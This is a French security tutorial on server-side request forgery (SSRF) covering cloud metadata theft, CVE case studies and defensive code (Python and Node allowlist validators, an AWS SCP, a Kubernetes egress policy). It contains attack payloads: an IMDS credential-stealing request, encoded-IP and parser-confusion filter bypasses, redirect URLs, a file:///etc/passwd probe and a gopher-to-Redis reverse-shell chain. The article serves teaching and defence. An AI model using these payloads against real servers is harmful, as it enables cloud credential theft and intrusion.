SSRF (CWE-918, OWASP A10:2021) : forcer le serveur à requêter des ressources internes — métadonnées cloud IMDSv1, services internes et escalade vers RCE.
TL;DR
169.254.169.254 livre des identifiants IAM en une seule requête HTTP (IMDSv1)2130706433, octal 0177.0.0.1, IPv6 ::ffff:127.0.0.1 contournent tous les filtres par correspondance de chaîneLe Server-Side Request Forgery (CWE-918) survient quand un attaquant amène un serveur à émettre des requêtes HTTP vers une destination de son choix. Le serveur devient un proxy involontaire : sa requête sortante provient d'une IP interne de confiance, contournant les pare-feux, les groupes de sécurité VPC et les contrôles réseau qui bloqueraient la même requête depuis un client externe.
Le SSRF est fondamentalement différent du CSRF et des redirections ouvertes. Le CSRF force le navigateur d'un utilisateur à envoyer une requête forgée mais ne peut pas lire la réponse. Une redirection ouverte cause la navigation du navigateur d'un utilisateur vers une URL contrôlée par l'attaquant côté client. Le SSRF contourne tout cela — le serveur vulnérable lui-même récupère la ressource, donnant accès aux endpoints internes, aux services de métadonnées et au localhost invisibles depuis l'internet public. Contrairement à l'injection SQL ou à l'injection de code, le SSRF ne nécessite aucune capacité d'exécution côté serveur — toute bibliothèque client HTTP devient le vecteur d'attaque.
Le SSRF a obtenu son propre entrée dans l'OWASP Top 10 (A10:2021) pour la première fois en 2021, reflétant un changement structurel : les déploiements cloud ont créé une surface d'attaque universellement exploitable. Chaque instance EC2, ECS, Lambda, GCE et Azure VM expose un service de métadonnées link-local accessible uniquement depuis l'intérieur de l'instance. Le SSRF est le seul chemin externe vers cet endpoint. Le rapport SonicWall 2025 Cyber Threat Report documente une augmentation de 452 % des attaques SSRF de 2023 à 2024. Fin 2024, seulement 32 % des instances EC2 appliquent IMDSv2 — ce qui signifie qu'environ deux tiers des charges de travail AWS restent vulnérables au vol de credentials en une seule requête.
Une application accepte un paramètre URL et le passe directement à un client HTTP côté serveur. La position réseau interne du serveur lui accorde l'accès à des services que l'attaquant ne peut pas atteindre directement.
L'attaque se déroule en quatre étapes :
url, callback, webhook, image_url, redirect, feed, endpoint).requests.get(), fetch(), HttpURLConnection, net/http.Get()) sans validation.Un SSRF en bande minimal contre le service de métadonnées AWS :
POST /api/fetch-preview HTTP/1.1
Host: app.example.com
Content-Type: application/json
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/MyApp-EC2Role"}HTTP/1.1 200 OK
Content-Type: application/json
{
"AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "EXAMPLE_SESSION_TOKEN_TRUNCATED...",
"Expiration": "2026-05-09T18:00:00Z"
}Ces credentials sont des identifiants IAM AWS valides — utilisables avec aws s3 ls, aws iam list-roles, aws ec2 describe-instances et tout autre appel API AWS dans les limites de la politique du rôle.
| Variante | Technique | Impact | Page dédiée |
|---|---|---|---|
| SSRF en bande basique | Paramètre URL → retour direct de réponse | Credentials cloud, lecture de service interne | /learn/ssrf-basic |
| SSRF aveugle / OOB | Paramètre URL → callback DNS/HTTP OOB | Topologie interne, exfiltration aveugle | /learn/ssrf-blind |
| Métadonnées cloud | Endpoints IMDS (AWS/GCP/Azure) | Vol de credentials IAM → compromission cloud totale | /learn/ssrf-cloud-metadata |
| Smuggling de protocoles | gopher://, file://, dict:// | RCE Redis, lecture de fichiers locaux | /learn/ssrf-protocol-smuggling |
| Basé sur les en-têtes | Injection X-Forwarded-Host, Forwarded | Contournement de routage interne, SSRF via CRLF | /learn/ssrf-header-based |
Le SSRF en bande basique est la forme la plus directement exploitable. Le serveur retourne la réponse récupérée verbatim. Un paramètre URL nommé url, src, image, remote, feed ou webhook soumettant http://169.254.169.254/latest/meta-data/ est le point de départ canonique. La brèche Capital One 2019 a suivi exactement ce schéma.
Le SSRF aveugle ne retourne aucune réponse à l'attaquant. La détection nécessite un écouteur OOB (Burp Collaborator, Interactsh). Un callback DNS seul confirme que le serveur résout le hostname mais que HTTP est bloqué — POTENTIEL, pas CONFIRMÉ. Un callback HTTP confirme une requête sortante active — CONFIRMÉ HIGH. Des données exfiltrées dans le corps OOB (credentials AWS dans le chemin URL) — CONFIRMÉ CRITICAL.
Le smuggling de protocoles élève le SSRF à une exécution de code à distance (RCE) quand le serveur utilise un client HTTP multi-protocoles. Python urllib, Java java.net.URL et curl supportent tous gopher://, file:// et dict://. Soumettre gopher://127.0.0.1:6379/_<commandes-redis> envoie des octets TCP bruts directement à une instance Redis interne, permettant l'exécution de code via cron.
Le SSRF basé sur les en-têtes survient quand des en-têtes HTTP contenant des valeurs de hostname sont consommés côté serveur. CVE-2026-27739 (Angular SSR, CVSS 9.2) : l'injection de X-Forwarded-Host: attacker.com amène la couche SSR à émettre une requête sortante vers http://attacker.com/api/config. GitLab CVE-2025-6454 (CVSS 8.5) : l'injection CRLF dans les en-têtes personnalisés de webhook permet d'injecter Metadata: true comme en-tête séparé, contournant la protection Azure IMDS.
Les services de métadonnées cloud sont des APIs HTTP link-local, accessibles uniquement depuis l'intérieur de l'instance. Le SSRF est le seul chemin d'attaque externe.
| Cloud | Endpoint principal | En-tête requis | Chemin des credentials |
|---|---|---|---|
| AWS IMDSv1 | http://169.254.169.254/latest/meta-data/ | Aucun | iam/security-credentials/{ROLE} |
| AWS IMDSv2 | Même IP, flux token PUT | X-aws-ec2-metadata-token-ttl-seconds: 21600 | Identique après token |
| AWS ECS/Fargate | http://169.254.170.2/v2/credentials/{GUID} | Aucun | GUID depuis var d'env AWS_CONTAINER_CREDENTIALS_RELATIVE_URI |
| GCP | http://metadata.google.internal/computeMetadata/v1/ | Metadata-Flavor: Google | instance/service-accounts/default/token |
| Azure IMDS | http://169.254.169.254/metadata/instance?api-version=2021-02-01 | Metadata: true | identity/oauth2/token?resource=... |
| Azure WireServer | http://168.63.129.16/?comp=versions | Aucun (sans auth) | 168.63.129.16:32526/vmSettings → secrets chiffrés |
| DigitalOcean | http://169.254.169.254/metadata/v1.json | Aucun | JSON complet incluant la clé SSH root |
| Kubernetes etcd | http://127.0.0.1:2379/v3/kv/range (POST) | Aucun | Dump complet des secrets du cluster |
Conditions de contournement IMDSv2 : IMDSv2 bloque le SSRF GET simple en exigeant un PUT avec X-aws-ec2-metadata-token-ttl-seconds pour obtenir un token de session. Quatre conditions de contournement existent : (1) le SSRF par injection d'en-têtes (pattern CVE-2019-8451 Atlassian Confluence) permet d'injecter l'en-tête PUT ; (2) le SSRF multi-requêtes enchaîne PUT puis GET ; (3) les générateurs PDF Chrome headless exécutent le flux IMDSv2 complet via JavaScript fetch() ; (4) les chaînes de redirection émettent le PUT au niveau du serveur de redirection.
AWS IMDSv2 est nécessaire mais pas suffisant. Appliquer HttpTokens: required par instance bloque le SSRF GET uniquement. Le contrôle fiable est une AWS Service Control Policy (SCP) refusant ec2:RunInstances quand ec2:MetadataHttpTokens != required — appliquée à l'ensemble de l'organisation. De plus, --http-put-response-hop-limit 1 bloque l'accès aux métadonnées depuis les workloads conteneurisés sauf si la limite de sauts est explicitement relevée.
Les filtres SSRF basés sur des listes de blocage qui vérifient 127.0.0.1, localhost ou 169.254 sont contournés par l'encodage, les différentiels de parsing et les chaînes de redirection.
Toutes les formes suivantes se résolvent en 127.0.0.1 (loopback) mais contournent les filtres par correspondance de chaîne :
http://2130706433/ # DWORD décimal
http://0177.0.0.1/ # octal par octet
http://0x7f000001/ # valeur hex unique
http://127.1/ # raccourci 3 octets
http://[::1]/ # loopback IPv6
http://[::ffff:127.0.0.1]/ # IPv4 mappé en IPv6
http://[::ffff:7f00:1]/ # CVE-2025-9960 : forme hextet IPv6 — contourne les listes IPv4 uniquement
http://localhost./ # point FQDN final — contourne la correspondance littérale NO_PROXY (CVE-2025-62718)
http://localtest.me/ # service DNS public résolvant vers 127.0.0.1Pour 169.254.169.254 (AWS IMDS), encodages équivalents :
http://2852039166/ # DWORD décimal
http://0xA9FEA9FE/ # hex
http://0251.0376.0251.0376/ # octal
http://[::ffff:169.254.169.254]/ # IPv6 mappé
http://[::ffff:a9fe:a9fe]/ # IPv6 hexLa couche de validation et la bibliothèque HTTP peuvent analyser la même chaîne différemment :
http://trusted.com@169.254.169.254/ # le validateur voit trusted.com comme host ; le requêteur utilise l'IP
http://169.254.169.254#@trusted.com/ # confusion fragment — le validateur échoue sur le host #
http://169.254.169.254\trusted.com/ # WHATWG traite \ comme / — contourne les vérifications de suffixe
http://trusted.com.evil.com/ # satisfait la vérification endsWith('trusted.com')CVE-2024-29415 (package Node.js ip, non maintenu) : ip.isPublic() classifie 127.1, ::fFFf:127.0.0.1 et 01200034567 comme routables globalement, ne fournissant aucune protection SSRF.
CVE-2025-62718 (Axios < 1.15.0, CVSS 9.3) : les règles NO_PROXY utilisent une comparaison de chaînes littérale. http://localhost.:8080/ (point final) et http://[::1]:8080/ (loopback IPv6) contournent toutes les règles NO_PROXY, routant les requêtes via un proxy contrôlé par l'attaquant.
Les validateurs qui vérifient uniquement l'URL initiale et suivent les redirections sans re-validation :
https://302.r3dir.me/?r=http://169.254.169.254/latest/meta-data/
https://307.r3dir.me/?r=http://169.254.169.254/latest/meta-data/
# 307 préserve la méthode HTTP — critique pour le SSRF basé sur POSTLe DNS rebinding contourne la validation par liste d'autorisation + résolution DNS quand la validation et la requête se produisent à des moments différents. Le validateur résout attacker.com → 1.2.3.4 (IP publique, passe la liste). L'attaquant repointe DNS avec TTL=0 vers 169.254.169.254. Le serveur émet la requête effective, re-résout, et atteint le service de métadonnées. CVE-2026-27127 (Craft CMS) démontre ce contournement contre un correctif SSRF déployé en production. La défense : résoudre DNS une seule fois, puis épingler l'IP résolue et forcer la connexion HTTP à cette IP — ne jamais re-résoudre au moment de la requête.
| CVE / Incident | Produit | CVSS | Vecteur | Année |
|---|---|---|---|---|
| Brèche Capital One | AWS EC2 WAF | — | IMDSv1 → credentials IAM → exfiltration S3 | 2019 |
| CVE-2025-62718 | Axios < 1.15.0 | 9.3 Critical | Contournement NO_PROXY → SSRF proxy | 2025 |
| CVE-2025-6454 | GitLab CE/EE | 8.5 High | Injection CRLF webhook → SSRF aveugle | 2025 |
| CVE-2024-8977 | GitLab EE | 8.2 High | Dashboard Analytics API Cube → SSRF interne | 2024 |
| CVE-2025-4123 | Grafana Image Renderer | 7.6 High | Redirection ouverte → SSRF lecture complète | 2025 |
| CVE-2025-68437 | Craft CMS | Moyen | GraphQL saveAssets._file.url → métadonnées cloud | 2025 |
| CVE-2026-27127 | Craft CMS | High | DNS rebinding TOCTOU → contourne correctif SSRF | 2026 |
| CVE-2024-40898 | Apache HTTP Server (Windows) | High | mod_rewrite → fuite de hash NTLM via SMB | 2024 |
| HackerOne #2301565 | (non divulgué) | — | SSRF webhook → prime 2 500 $ | 2024 |
| HackerOne #3176157 | PortSwigger | — | DNS rebinding → accès réseau interne → 2 000 $ | 2024 |
Capital One 2019 reste l'étude de cas SSRF canonique. Une instance WAF sur EC2 avait une vulnérabilité SSRF. L'attaquant a interrogé http://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role via une seule requête HTTP non authentifiée. Les credentials IAM temporaires retournés avaient des permissions S3 excessives — l'attaquant a énuméré 700+ buckets et exfiltré 30 Go de données couvrant 106 millions de dossiers clients. Résultat réglementaire : amende OCC de 80M$, règlement collectif de 190M$. Cause principale : IMDSv1 (sans authentification) + rôle IAM sur-privilégié + absence de contrôles d'egress réseau.
CVE-2025-62718 — Contournement NO_PROXY Axios (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H = 9.3 Critical) : Axios effectue une comparaison de chaînes littérale lors de l'évaluation des règles NO_PROXY. Un point final sur les FQDNs (localhost. vs localhost) est valide selon la RFC 3986 §3.2.2 mais contourne les vérifications NO_PROXY d'Axios dans toutes les versions antérieures à 1.15.0. Tout backend Node.js utilisant Axios avec une configuration proxy — pattern courant en entreprise pour le filtrage sortant — était entièrement exposé au SSRF via http://localhost.:PORT/.
CVE-2025-6454 — Injection CRLF GitLab → SSRF (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H = 8.5) : GitLab 16.11 a introduit des en-têtes de webhook personnalisés sans assainissement CRLF. Un développeur authentifié pouvait injecter des séquences \r\n dans les noms d'en-têtes, insérant des en-têtes arbitraires dans le payload webhook sortant sérialisé. Dans les déploiements d'entreprise basés sur des proxies, l'injection de \r\nMetadata: true\r\n comme second en-tête contournait la protection Azure IMDS et atteignait l'endpoint de credentials d'identité managée.
CVE-2025-4123 — Grafana redirection ouverte → SSRF : Grafana v10.4 à 12.0 contenait un path traversal côté client permettant une redirection ouverte. Quand le plugin Grafana Image Renderer est installé, le renderer récupère l'URL redirigée côté serveur — convertissant une redirection ouverte côté client en SSRF lecture complète. Le renderer a accédé à 169.254.169.254 et retourné des credentials IAM AWS dans le cadre de l'image rendue. Un tiers de toutes les instances Grafana étaient estimées vulnérables à la divulgation.
url, uri, redirect, callback, webhook, image_url, avatar, feed, endpoint, src, target, dest, remote. Tester aussi les champs JSON : webhook, callback_url, endpoint, image, redirect.http://169.254.169.254/latest/meta-data/
http://localhost/
http://[::1]/
http://192.168.0.1/
file:///etc/passwdAccessKeyId, SecretAccessKey), les bandeaux de services internes (Grafana, elasticsearch, "cluster_name"), ou le contenu d'adresses RFC-1918.http://169.254.169.254/ (TCP RST rapide ou SYN-ACK) et http://192.0.2.1/ (IP de documentation RFC 5737, injoignable garantie, SYN-timeout 30s). Un différentiel statistiquement significatif (test de Welch p < 0,05) confirme une tentative de connexion sortante.Host, X-Forwarded-Host, X-Forwarded-For, Referer et X-Original-URL.Burp Suite Pro : le scanner actif injecte automatiquement des URLs Burp Collaborator dans tous les paramètres et en-têtes, signale les callbacks DNS et HTTP comme findings SSRF. Burp Collaborator distingue DNS seul (potentiel) de HTTP (confirmé).
Interactsh (ProjectDiscovery, open-source) : infrastructure OOB auto-hébergeable pour l'automatisation de pipeline. Génère des tokens uniques par paramètre — une résolution DNS sans HTTP reste POTENTIELLE ; un GET/POST HTTP est CONFIRMÉ.
Semgrep (semgrep --config p/python) : signale les requests.get($URL) avec $URL contrôlé par l'utilisateur, les urllib.request.urlopen() non validés, et les chemins de contamination httpx.get(). Les requêtes CodeQL SSRF tracent le flux de données complet depuis l'entrée HTTP jusqu'au sink client HTTP au-delà des frontières de fonctions.
BreachVex détecte le SSRF via des callbacks hors-bande par paramètre (un token unique par paramètre URL, plafonné à 10), une analyse différentielle de réponse (ratio de longueur de corps et seuil de timing), la correspondance de contenu de métadonnées cloud, et un modèle de preuve gradué : un callback DNS seul est potentiel, un callback HTTP est confirmé de sévérité élevée, et l'exfiltration de données hors-bande est confirmée critique.
Une liste d'autorisation est la seule défense SSRF fiable. Les listes de blocage ont trop de contournements par encodage, alias et DNS rebinding pour être efficaces. La liste d'autorisation doit être validée après la résolution DNS — pas uniquement sur la chaîne hostname.
import ipaddress
import socket
import urllib.parse
import requests
ALLOWED_HOSTS = frozenset({"api.stripe.com", "hooks.slack.com", "cdn.example.com"})
class SSRFError(ValueError):
pass
def validate_and_fetch(url: str) -> str:
parsed = urllib.parse.urlparse(url)
# 1. Liste d'autorisation de schémas — bloque gopher://, file://, dict://, ftp://
if parsed.scheme not in ("http", "https"):
raise SSRFError(f"Schéma non autorisé : {parsed.scheme!r}")
host = (parsed.hostname or "").rstrip(".") # supprimer le point FQDN final (classe CVE-2025-62718)
if not host:
raise SSRFError("Hostname manquant")
# 2. Liste d'autorisation exacte de hostnames (pas contains / startsWith)
if host not in ALLOWED_HOSTS:
raise SSRFError(f"Host absent de la liste d'autorisation : {host!r}")
# 3. Résolution DNS — valider chaque adresse IP retournée
try:
results = socket.getaddrinfo(host, None, proto=socket.IPPROTO_TCP)
except socket.gaierror as e:
raise SSRFError(f"Résolution DNS échouée : {e}")
for (_, _, _, _, sockaddr) in results:
ip = ipaddress.ip_address(sockaddr[0])
# Normaliser IPv4 mappé en IPv6 : ::ffff:127.0.0.1 → 127.0.0.1
if isinstance(ip, ipaddress.IPv6Address) and ip.ipv4_mapped:
ip = ip.ipv4_mapped
if (ip.is_private or ip.is_loopback or ip.is_link_local
or ip.is_reserved or ip.is_multicast or ip.is_unspecified):
raise SSRFError(f"Résolution vers une adresse bloquée : {ip}")
# 4. Pas de suivi automatique des redirections — valider chaque en-tête Location manuellement
resp = requests.get(url, timeout=5, allow_redirects=False)
if resp.is_redirect:
raise SSRFError(f"Redirection vers {resp.headers.get('location')!r} — non suivie")
return resp.textValider uniquement la chaîne hostname est insuffisant contre le DNS rebinding. Le pattern validate_url() ci-dessus résout DNS et vérifie l'IP au moment de la validation. Une attaque DNS rebinding (pattern CVE-2026-27127) repointe le hostname entre la validation et la requête HTTP effective. Le correctif complet : après résolution, se connecter directement à l'IP résolue — ne pas re-résoudre au moment de la requête. Utiliser un HTTPAdapter avec un résolveur personnalisé qui épingle l'IP résolue pour la connexion.
const dns = require('dns').promises;
const { URL } = require('url');
const fetch = require('node-fetch');
const ALLOWED_ORIGINS = new Set(['https://api.stripe.com', 'https://hooks.slack.com']);
function isPrivateAddress(ip) {
return /^(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|169\.254\.|127\.|::1$|fc|fd)/i.test(ip);
}
async function safeFetch(rawUrl) {
const parsed = new URL(rawUrl);
if (!['http:', 'https:'].includes(parsed.protocol)) {
throw new Error(`Schéma non autorisé : ${parsed.protocol}`);
}
// Supprimer le point final (classe CVE-2025-62718)
const hostname = parsed.hostname.replace(/\.$/, '');
const origin = `${parsed.protocol}//${hostname}`;
if (!ALLOWED_ORIGINS.has(origin)) {
throw new Error(`Host absent de la liste d'autorisation : ${origin}`);
}
const addresses = await dns.lookup(hostname, { all: true });
for (const { address } of addresses) {
if (isPrivateAddress(address)) {
throw new Error(`Résolution vers une adresse privée : ${address}`);
}
}
// Pas de suivi de redirections
return fetch(rawUrl, { redirect: 'error', timeout: 5000 });
}# Appliquer IMDSv2 sur une instance unique
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-put-response-hop-limit 1
# Audit : lister toutes les instances utilisant encore IMDSv1
aws ec2 describe-instances \
--query "Reservations[].Instances[?MetadataOptions.HttpTokens=='optional'].{ID:InstanceId,State:State.Name}" \
--output table{
"Effect": "Deny",
"Action": "ec2:RunInstances",
"Resource": "arn:aws:ec2:*:*:instance/*",
"Condition": {
"StringEquals": {
"ec2:MetadataHttpTokens": "optional"
}
}
}Bloquer les connexions sortantes vers les métadonnées et les plages privées au niveau de l'infrastructure — défense en profondeur qui reste efficace même quand la validation côté application est contournée :
# NetworkPolicy Kubernetes — refuser l'egress vers les métadonnées et RFC-1918
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-metadata-egress
spec:
podSelector: {}
policyTypes:
- Egress
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 169.254.169.254/32 # AWS/Azure IMDS
- 169.254.170.2/32 # Métadonnées de tâche ECS
- 168.63.129.16/32 # Azure WireServer
- 10.0.0.0/8 # RFC 1918
- 172.16.0.0/12 # RFC 1918
- 192.168.0.0/16 # RFC 1918Qu'est-ce que le Server-Side Request Forgery (SSRF) ? Le SSRF (CWE-918, OWASP A10:2021) est une vulnérabilité où un attaquant amène un serveur à émettre des requêtes HTTP vers une destination de son choix — y compris des services de métadonnées internes, localhost et des adresses RFC-1918 inaccessibles depuis l'internet public. Le serveur agit comme un proxy involontaire exploitant sa position réseau interne.
Quelle est la différence entre le SSRF et le CSRF ? Le CSRF force le navigateur d'un utilisateur à envoyer une requête forgée en utilisant sa session. Le SSRF force le serveur lui-même à émettre une requête vers une ressource interne. Le SSRF accorde l'accès aux services internes ; le CSRF non. Le SSRF est une vulnérabilité côté serveur ; le CSRF est côté client.
Que peut faire un attaquant avec une vulnérabilité SSRF ?
Exfiltrer des credentials IAM cloud depuis les services de métadonnées, scanner la topologie réseau interne, accéder aux panels d'administration et bases de données internes, obtenir une RCE via gopher→Redis, lire des fichiers locaux via file://, et pivoter vers des clusters Kubernetes/etcd internes pour une extraction complète de secrets.
Qu'est-ce que la brèche Capital One liée au SSRF ?
En 2019, un WAF sur AWS EC2 avait une vulnérabilité SSRF. L'attaquant a récupéré http://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role, obtenu des credentials IAM, et exfiltré 106 millions de dossiers clients depuis S3. Résultat : amende OCC de 80M$, règlement collectif de 190M$.
IMDSv2 empêche-t-il le SSRF sur AWS ?
IMDSv2 bloque le SSRF GET simple. Quatre conditions de contournement subsistent : SSRF par injection d'en-têtes, SSRF multi-requêtes, générateurs PDF Chrome headless exécutant le flux token complet via JavaScript, et chaînes de redirection. Appliquer HttpTokens=required via AWS SCP à l'ensemble de l'organisation est le contrôle fiable.
Qu'est-ce que le DNS rebinding et comment contourne-t-il les filtres SSRF ?
Le DNS rebinding exploite l'écart TOCTOU entre le temps de résolution DNS (validation) et le temps de requête. La validation résout attacker.com → IP publique (passe). L'attaquant repointe DNS (TTL=0) → 169.254.169.254. Le serveur re-résout au moment de la requête et atteint le service de métadonnées. Défense : épingler l'IP résolue et forcer la connexion à cette IP directement.
Comment prévenir le SSRF en Python ?
Appliquer une liste d'autorisation de schémas, une liste d'autorisation exacte de hostnames, résolution DNS avec socket.getaddrinfo(), validation IP (privé/loopback/link-local/réservé/multicast/non-spécifié tous bloqués), normalisation IPv4 mappé en IPv6, allow_redirects=False, et re-validation de chaque cible de redirection.
Qu'est-ce que le smuggling de protocoles dans le SSRF ?
Quand le serveur utilise un client multi-protocoles, des schémas au-delà de http/https atteignent des services non-HTTP : gopher:// → TCP brut vers Redis/FastCGI ; file:// → système de fichiers local ; dict:// → Memcached. gopher://127.0.0.1:6379/ + commandes Redis permet une RCE via cron.
Quels paramètres SSRF tester en priorité ? webhook, callback_url, notify_url, hook_url, url, redirect, dest, destination, next, return, image_url, avatar_url, thumbnail, import_url, feed_url, remote, download_url. Aussi les champs JSON : url, endpoint, callback, redirect, image, webhook, jwks_uri, logo_uri.
Comment détecter le SSRF avec Burp Suite ? Générer une URL Burp Collaborator et la soumettre dans chaque paramètre acceptant une URL et chaque en-tête HTTP (Host, X-Forwarded-Host, Referer). Surveiller le panneau Collaborator : requêtes DNS = SSRF existe ; callback HTTP = SSRF confirmé.
Quel est le score CVSS pour le SSRF ?
SSRF non authentifié avec métadonnées cloud : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N = 7.5 High. CVE-2025-6454 (GitLab CRLF→SSRF) : CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H = 8.5. CVE-2025-62718 (Axios) : 9.3 Critical.
Quels contrôles réseau défendent contre le SSRF ?
Bloquer l'egress vers 169.254.0.0/16, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 et 127.0.0.0/8 au niveau VPC/groupe de sécurité. Utiliser Kubernetes NetworkPolicy pour refuser l'egress des pods vers les endpoints de métadonnées. Appliquer IMDSv2 via AWS SCP.
Le SSRF (CWE-918, OWASP A10:2021) est une vulnérabilité où un attaquant amène un serveur à émettre des requêtes HTTP vers une destination de son choix — y compris des services internes, des endpoints de métadonnées cloud et localhost — inaccessibles depuis l'internet public. Le serveur agit comme un proxy involontaire, son IP interne contournant les contrôles réseau.
Le CSRF force le navigateur d'un utilisateur à envoyer une requête forgée à un site cible en utilisant le cookie de session de la victime — l'attaquant ne peut pas lire la réponse. Le SSRF force le serveur lui-même à émettre une requête vers une ressource interne, et la réponse peut être retournée directement à l'attaquant. Le SSRF cible la confiance serveur-à-serveur ; le CSRF cible la confiance navigateur-à-serveur.
Exfiltrer des identifiants IAM AWS/GCP/Azure depuis les métadonnées cloud (169.254.169.254), scanner la topologie réseau interne via les différences de timing, accéder aux panels d'administration internes, interagir avec Redis/Memcached/etcd via le smuggling de protocoles (gopher://), lire des fichiers locaux via file://, et dans certaines configurations obtenir une exécution de code à distance via gopher→Redis.
En 2019, un WAF mal configuré sur AWS EC2 avait une vulnérabilité SSRF. Un attaquant a interrogé http://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role, récupéré des identifiants IAM temporaires et énuméré 700+ buckets S3. La brèche a exposé 106 millions de dossiers clients et a entraîné une amende OCC de 80M$ et un règlement collectif de 190M$ — l'exemple canonique de l'impact de IMDSv1 non protégé.
Dans un SSRF standard (en bande), le serveur retourne la réponse récupérée directement à l'attaquant. Dans un SSRF aveugle, le serveur émet la requête mais la réponse n'est pas reflétée — l'attaquant ne peut confirmer l'exploitation que via des canaux hors-bande (OOB) : résolutions DNS, callbacks HTTP vers un serveur Interactsh/Burp Collaborator, ou différentiels de timing. Le SSRF aveugle est plus difficile à exploiter mais aussi plus difficile à détecter.
La chaîne SSRF→RCE la plus fiable utilise gopher:// pour envoyer des commandes Redis brutes à une instance Redis interne sur le port 6379. L'attaquant écrit une entrée cron dans /var/spool/cron/crontabs/root qui ouvre un reverse shell, puis sauvegarde la base Redis dans le répertoire cron. Cette chaîne — gopher→FLUSHALL→SET→CONFIG SET dir→CONFIG SET dbfilename→SAVE — est automatisée par l'outil Gopherus.
Le DNS rebinding exploite l'écart TOCTOU (Time-of-Check/Time-of-Use) dans les validateurs SSRF. Le validateur résout attacker.com → IP publique légitime (passe la liste d'autorisation), puis l'attaquant change le TTL DNS à 0 et repointe vers 169.254.169.254. Quand le serveur émet la requête HTTP effective, la re-résolution DNS retourne l'IP du service de métadonnées. CVE-2026-27127 (Craft CMS) est un exemple en production de ce contournement.
IMDSv2 bloque le SSRF simple à requête unique en exigeant un PUT avec X-aws-ec2-metadata-token-ttl-seconds pour obtenir un token de session. Quatre conditions de contournement subsistent : injection de headers SSRF, SSRF multi-requêtes, générateurs PDF Chrome headless exécutant le flux IMDSv2 complet via JavaScript fetch(), et chaînes de redirection. L'application de HttpTokens=required via AWS SCP est le contrôle fiable.
Parser l'URL avec urllib.parse, appliquer une liste d'autorisation explicite sur le schéma (http/https uniquement), vérifier le hostname contre une liste exacte, résoudre DNS avec socket.getaddrinfo(), et valider chaque IP retournée avec ipaddress.ip_address() — bloquer is_private, is_loopback, is_link_local, is_reserved, is_multicast. Définir allow_redirects=False et valider chaque en-tête Location manuellement.
Quand le serveur récupère des URLs via un client multi-protocoles (curl, urllib Python, java.net.URL), des schémas au-delà de http/https permettent de communiquer avec des services internes non-HTTP. gopher:// envoie des octets TCP bruts à Redis (port 6379) ou FastCGI (port 9000). file:// lit le système de fichiers local. dict:// interroge Memcached. Ces schémas transforment un SSRF en lecture seule en RCE ou vol de credentials.
Les paramètres webhook et callback (webhook, callback_url, notify_url, hook_url), les paramètres de navigation URL (url, redirect, dest, destination, next, return), les paramètres d'import média (image_url, avatar_url, thumbnail, media), et les paramètres de flux (import_url, feed_url, remote, download_url). Tester aussi les champs de corps JSON : url, endpoint, callback, redirect, image, webhook, et les champs OAuth (jwks_uri, logo_uri).
Générer une URL Burp Collaborator et la soumettre dans chaque paramètre acceptant une URL, y compris les en-têtes HTTP (Host, X-Forwarded-Host, Referer). Surveiller le panneau Collaborator : requêtes DNS = SSRF existe (HTTP potentiellement bloqué) ; callback HTTP = SSRF confirmé.
Un SSRF non authentifié avec exfiltration de métadonnées cloud : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N = 7.5 High. CVE-2025-6454 (GitLab CRLF→SSRF) : CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H = 8.5. CVE-2025-62718 (Axios) : 9.3 Critical.
Bloquer les connexions sortantes vers 169.254.0.0/16 (métadonnées cloud), 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 (RFC 1918 privé) et 127.0.0.0/8 (loopback) au niveau VPC/groupe de sécurité. Pour AWS, imposer IMDSv2 avec HttpTokens=required via une Service Control Policy au niveau de l'organisation. Utiliser Kubernetes NetworkPolicy pour restreindre l'egress des pods. Ces contrôles réseau restent efficaces même quand la validation au niveau applicatif est contournée.